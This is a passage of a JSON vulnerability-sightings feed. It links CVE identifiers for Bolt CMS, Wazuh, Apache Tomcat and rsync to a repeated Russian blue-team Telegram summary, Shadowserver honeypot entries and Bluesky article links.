\u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:45.609719Z"}, {"uuid": "fef358b7-f444-447e-ad3d-6677f5ab4e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:15:04.841972Z"}, {"uuid": "43d3ad5c-4463-48e8-9256-d9aa4ea0dc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:45.814845Z"}, {"uuid": "3075a735-1c94-4e7b-8729-251834f62ceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:45.859004Z"}, {"uuid": "9667b17b-4728-48c1-a30e-06cf78b19287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:45.973956Z"}, {"uuid": "7c5f6ad6-bda5-405f-a186-f7ef4290600a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:00:03.278570Z"}, {"uuid": "d90db155-c7f3-46a3-bdec-b772fd387b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:15:03.949280Z"}, {"uuid": "0ba6d0f7-62bd-491a-a9b4-1156e11fdbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphldrn5we22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12085 \u0432 rsync: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5E69AF0F-BF33-4EE5-B53C-4A2ED1D5E99C", "creation_timestamp": "2026-06-29T22:53:26.310906Z"}, {"uuid": "14ccf179-3f3e-42fc-8b3b-96b7d4dc7525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphliakxtv27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12084 \u0432 rsync: \u0443\u0433\u0440\u043e\u0437\u0430 heap-based \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\n\n\nhttps://kripta.biz/posts/893F7A0E-830A-41F5-9031-D468D4268AF7", "creation_timestamp": "2026-06-29T22:55:56.024955Z"}, {"uuid": "c0a92a4f-da78-4a2a-8419-d7158ebfff76", "vulnerability_lookup_origin": 